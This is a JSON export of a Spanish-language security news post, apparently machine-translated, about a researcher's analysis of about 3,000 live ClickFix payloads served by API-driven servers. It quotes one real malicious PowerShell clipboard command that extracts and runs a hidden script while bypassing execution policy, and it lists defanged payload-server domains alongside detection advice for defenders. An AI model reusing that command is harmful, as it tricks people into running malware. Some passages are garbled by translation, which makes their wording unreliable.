{"id":1376,"date":"2026-07-01T07:40:44","date_gmt":"2026-07-01T07:40:44","guid":{"rendered":"https:\/\/cybercolombia.co\/index.php\/2026\/07\/01\/un-investigador-analiza-3000-cargas-utiles-de-live-clickfix-exponiendo-la-entrega-de-malware-impulsada-por-api-cyberdefensa-mx\/"},"modified":"2026-07-01T07:40:44","modified_gmt":"2026-07-01T07:40:44","slug":"un-investigador-analiza-3000-cargas-utiles-de-live-clickfix-exponiendo-la-entrega-de-malware-impulsada-por-api-cyberdefensa-mx","status":"publish","type":"post","link":"https:\/\/cybercolombia.co\/index.php\/2026\/07\/01\/un-investigador-analiza-3000-cargas-utiles-de-live-clickfix-exponiendo-la-entrega-de-malware-impulsada-por-api-cyberdefensa-mx\/","title":{"rendered":"Un investigador analiza 3000 cargas \u00fatiles de Live ClickFix, exponiendo la entrega de malware impulsada por API \u2013 CYBERDEFENSA.MX"},"content":{"rendered":"
\n

Hacer clic en arreglar<\/b>el truco que enga\u00f1a a las personas para que ejecuten malware manualmente, se ha convertido silenciosamente en un back office.<\/p>\n

Una nueva investigaci\u00f3n muestra que los comandos maliciosos detr\u00e1s de sus p\u00e1ginas falsas de \u00abdemuestra que eres humano\u00bb ahora son distribuidos por servidores basados \u200b\u200ben API que le dan a cada visitante el mismo malware con un disfraz diferente. La misma investigaci\u00f3n tambi\u00e9n revel\u00f3 un nuevo m\u00e9todo de entrega creado para eludir el escaneo de scripts de Windows.<\/p>\n

El investigador de seguridad Bert-Jan Pals desmont\u00f3 varias plataformas ClickFix y analiz\u00f3 aproximadamente 3000 cargas \u00fatiles de campa\u00f1as en vivo. Present\u00f3 los hallazgos en naranjacon<\/a> a principios de junio y public\u00f3 los detalles<\/a> el 30 de junio.<\/p>\n

ClickFix es simple por dise\u00f1o. Una p\u00e1gina con trampa explosiva muestra un CAPTCHA falso o un error, JavaScript oculto coloca un comando en su portapapeles y la p\u00e1gina le indica que presione una combinaci\u00f3n de teclas, pegue y presione Enter. Usted mismo ejecuta el malware.<\/p>\n

Por lo general, no hay ning\u00fan exploit en el primer paso y, a menudo, no hay ning\u00fan archivo que los antivirus tradicionales puedan marcar, por lo que los controles convencionales de correo electr\u00f3nico y terminales tienen menos que detectar.<\/p>\n

Funciona lo suficientemente bien como para que ESET mida un 517% salto<\/a> desde finales de 2024 hasta la primera mitad de 2025, y Microsoft Informe de defensa digital 2025<\/a> lo sit\u00faa en el 47% de los casos de acceso inicial vistos por su equipo de Defender Experts.<\/p>\n

\n
\"Ciberseguridad\"<\/a><\/div>\n<\/div>\n

La t\u00e9cnica ahora tiene su propia entrada en MITRE ATT&CK, T1204.004<\/a>.<\/p>\n

Cargas \u00fatiles hechas a pedido<\/h2>\n

La parte nueva es c\u00f3mo se producen las cargas \u00fatiles. Pals descubri\u00f3 que las p\u00e1ginas extra\u00edan sus comandos de servidores backend que funcionan como un servicio bajo demanda: aceptan solicitudes, verifican un token de acceso, registran a la persona que llama y devuelven un comando reci\u00e9n codificado cada vez.<\/p>\n

Le pidi\u00f3 a un servidor 100 cargas \u00fatiles y obtuvo 100 diferentes, envueltas en una mezcla rotativa de Base64, AES, TripleDES, Rijndael y Deflate. Quite el envoltorio y, al menos por ahora, todos se descomprimir\u00e1n en el mismo script, que se ejecuta en la memoria a trav\u00e9s de un espacio de ejecuci\u00f3n de PowerShell.<\/p>\n

El disfraz es desechable; el malware que contiene no lo es, aunque Pals advierte que la carga principal probablemente comenzar\u00e1 a cambiar seg\u00fan la v\u00edctima en poco tiempo. La misma plataforma sirve se\u00f1uelos en 25 idiomas y hace coincidir el comando con el sistema operativo del visitante, con versiones de macOS ejecut\u00e1ndose junto con Windows.<\/p>\n

\"\"<\/a><\/div>\n

La etiqueta \u00abcomo servicio\u00bb no es s\u00f3lo marca. ESET ha rastreado a delincuentes que venden constructores ClickFix ya preparados a otros atacantes. Pals encontr\u00f3 una comercializaci\u00f3n paralela un nivel m\u00e1s profundo, en c\u00f3mo cada carga \u00fatil se produce a pedido.<\/p>\n

Una forma m\u00e1s silenciosa de entrar: el m\u00e9todo de la carpeta de Descargas<\/h2>\n

El segundo hallazgo es una respuesta directa a los defensores que miran el portapapeles. En lugar de copiar un comando malicioso, las p\u00e1ginas m\u00e1s nuevas copian uno que parece inofensivo.<\/p>\n

\"\"<\/a><\/div>\n

La p\u00e1gina descarga silenciosamente un archivo a la carpeta Descargas y el portapapeles recibe una breve l\u00ednea de \u00aborquestador\u00bb que mueve ese archivo, lo descomprime y ejecuta el script que contiene. Debido a que la l\u00ednea pegada es solo ese orquestador y no la carga \u00fatil en s\u00ed, est\u00e1 dise\u00f1ada para pasar por alto AMSI, la caracter\u00edstica de Windows que permite que el antivirus analice los scripts antes de que se ejecuten. El c\u00f3digo incorrecto se encuentra en el archivo descargado, a un lado. La l\u00ednea del portapapeles observada ten\u00eda este aspecto:<\/p>\n

powershell -C \u00ab$t=$env:TMP;Move-Item \\\u00bb$HOME\\Downloads\\tmp.zip\\\u00bb \\\u00bb$t\\7947.zip\\\u00bb;tar -xf \\\u00bb$t\\7947.zip\\\u00bb -C \\\u00bb$t\\\u00bb;conhost \u2013headless powershell -ExecutionPolicy Bypass -File \\\u00bb$t\\tmp.ps1\\\u00bb # \\\u00bb* No soy un robot reCAPTCHA ID de verificaci\u00f3n: 7947 *\\\u00bb\u00bb<\/p>\n

La ejecuci\u00f3n tambi\u00e9n se ha vuelto sigilosa. El se\u00f1uelo original de 2024 dec\u00eda a la gente que presionara Windows+R y lo pegara en el cuadro Ejecutar. Una versi\u00f3n m\u00e1s nueva, com\u00fan hasta 2025 y 2026, los dirige a Windows+X y a la Terminal de Windows. El uso de la terminal parece m\u00e1s com\u00fan y, a diferencia del cuadro Ejecutar, no deja rastro en la clave de registro RunMRU que los investigadores normalmente verifican.<\/p>\n

ClickFix dej\u00f3 de ser una herramienta exclusiva para delincuentes hace un tiempo. Punto de prueba<\/a> vincularon a grupos respaldados por estados de Rusia, Ir\u00e1n y Corea del Norte, incluidos APT28, MuddyWater y Kimsuky, a campa\u00f1as que colocaron a ClickFix en sus cadenas de infecci\u00f3n existentes, y equipos norcoreanos crearon una versi\u00f3n de \u00abentrevista ClickFake\u00bb de trabajo falso para afectar a los trabajadores de criptomonedas.<\/p>\n

\n
\"Ciberseguridad\"<\/a><\/div>\n<\/div>\n

El truco ha generado parientes nombrados como FileFix y DescargarReparar <\/b>que se apoyan en otras herramientas confiables de Windows. La escala tampoco es te\u00f3rica: la empresa de seguridad Expel encontr\u00f3 una ola de ClearFake que probablemente infect\u00f3 hasta 147.521 sistemas desde finales de agosto de 2025.<\/p>\n

Lo que los defensores deber\u00edan mirar<\/h2>\n

La lecci\u00f3n defensiva no ha cambiado. Los detalles tienen. Las se\u00f1ales confiables son cadenas de procesos, no texto del portapapeles: explorador.exe<\/b> o WindowsTerminal.exe<\/b> lanzamiento powershell.exe<\/b>, cmd.exe<\/b>o msiexec.exe<\/b> y comunicarse con la red inmediatamente despu\u00e9s.<\/p>\n

Esos fueron los lanzadores m\u00e1s comunes en los datos de Pals, con PowerShell y cmd empatados en aproximadamente un 39% cada uno y msiexec muy cerca con un 34%.<\/p>\n

El EDR de comportamiento, las reglas de control de aplicaciones que limitan qu\u00e9 programas pueden llamar a int\u00e9rpretes de secuencias de comandos y la gu\u00eda sencilla para el usuario (\u00abnunca pegue un comando que le dijeron que ejecutara en el cuadro Ejecutar o en una terminal\u00bb) todav\u00eda se mantienen. El m\u00e9todo de la carpeta de Descargas agrega una cosa m\u00e1s para buscar: una frase de apariencia inocente que toca la carpeta de Descargas y luego genera un PowerShell oculto.<\/p>\n

Pals tambi\u00e9n enumer\u00f3 tres servidores de carga \u00fatil vistos durante la investigaci\u00f3n:<\/p>\n

    \n
  • estrella c\u00f3mica[.]latitud<\/li>\n
  • beb\u00e9[.]cfd<\/li>\n
  • merkantalolol[.]Asia<\/li>\n<\/ul>\n

    Una conexi\u00f3n con uno de estos no prueba infecci\u00f3n. Significa que lo m\u00e1s probable es que un comando haya sido colocado en el portapapeles de alguien.<\/p>\n

    El veredicto de Pals sobre esta t\u00e9cnica es contundente: \u00abClickFix lleg\u00f3 para quedarse\u00bb. El patr\u00f3n en su investigaci\u00f3n es que ClickFix cambia en el momento en que los defensores se ponen al d\u00eda, y el paso de scripts \u00fanicos a servidores de carga \u00fatil bajo demanda es lo que hace que esa adaptaci\u00f3n sea barata de repetir.<\/p>\n

    Lo siguiente que vale la pena observar es si el malware en s\u00ed, y no s\u00f3lo su envoltorio, comienza a cambiar de una v\u00edctima a otra.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

    Hacer clic en arreglarel truco que enga\u00f1a a las personas para que ejecuten malware manualmente, se ha convertido silenciosamente en un back office. Una nueva investigaci\u00f3n muestra que los comandos maliciosos detr\u00e1s de sus p\u00e1ginas falsas de \u00abdemuestra que eres humano\u00bb ahora son distribuidos por servidores basados \u200b\u200ben API que le dan a cada visitante […]<\/p>\n","protected":false},"author":1,"featured_media":752,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25,5],"tags":[3446,49,1110,528,24,361,3449,1180,2774,3448,60,127,3447],"class_list":["post-1376","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-trending","tag-analiza","tag-api","tag-cargas","tag-clickfix","tag-cyberdefensa-mx","tag-entrega","tag-exponiendo","tag-impulsada","tag-investigador","tag-live","tag-malware","tag-por","tag-utiles"],"_links":{"self":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts\/1376","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/comments?post=1376"}],"version-history":[{"count":0,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/posts\/1376\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/media\/752"}],"wp:attachment":[{"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/media?parent=1376"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/categories?post=1376"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybercolombia.co\/index.php\/wp-json\/wp\/v2\/tags?post=1376"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}